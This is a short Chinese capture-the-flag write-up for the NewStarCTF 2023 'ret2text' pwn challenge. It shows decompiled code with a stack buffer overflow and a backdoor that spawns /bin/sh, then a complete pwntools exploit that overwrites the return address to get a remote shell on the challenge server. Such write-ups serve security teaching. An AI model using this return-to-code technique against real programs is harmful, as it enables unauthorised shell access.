NewStarCTF 2023 WEEK1|PWN ret2text

拖进IDA,查看

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init();
  puts("Welcome to NewStar CTF!!");
  puts("Show me your magic");
  read(0, buf, 0x100uLL);
  return 0;
}

main函数,里read函数,分配了32(0x20)个大小 指定了0x100,有栈溢出漏洞

复制代码
int backdoor()
{
  puts("Congratulations!!!");
  return execve("/bin/sh", 0LL, 0LL);
}

又发现了后门函数,

复制代码
; Attributes: bp-based frame

public backdoor
backdoor proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
lea     rax, s          ; "Congratulations!!!"
mov     rdi, rax        ; s
call    _puts
mov     edx, 0          ; envp
mov     esi, 0          ; argv
lea     rax, path       ; "/bin/sh"
mov     rdi, rax        ; path
call    _execve
nop
pop     rbp
retn
; } // starts at 4011FB
backdoor endp

查看起始地址 为4011FB

  • payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)

完整exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",27131) 
payload = b'a'*(0x20 + 0x8) + p64(0x4011FB)
p.sendline(payload)
p.interactive()
相关推荐
Elnaij8 分钟前
Linux系统与系统编程(9)——自设计shell与基础IO
linux·服务器
IpdataCloud15 分钟前
稳定的企业级IP数据接口怎么选?可用性指标+离线库高可用方案
运维·网络·tcp/ip
WebGIS开发25 分钟前
地信职业百科②:GIS运维
运维·gis·就业·转行
淘矿人35 分钟前
Claude辅助DevOps实践
java·大数据·运维·人工智能·算法·bug·devops
JiaWen技术圈35 分钟前
nginx 安全响应头 介绍
运维·nginx·安全
IMPYLH37 分钟前
Linux 的 unexpand 命令
linux·运维·服务器·bash
Jason_zhao_MR41 分钟前
RK3576 MIPI Camera ISP调试:主观调优与工程实战(下)
stm32·嵌入式硬件·安全·系统架构·嵌入式
想唱rap1 小时前
IO多路转接之poll
服务器·开发语言·数据库·c++
|_⊙1 小时前
Linux 文件知识 补充
linux·运维·服务器
落羽的落羽2 小时前
【算法札记】练习 | Week4
linux·服务器·数据结构·c++·人工智能·算法·动态规划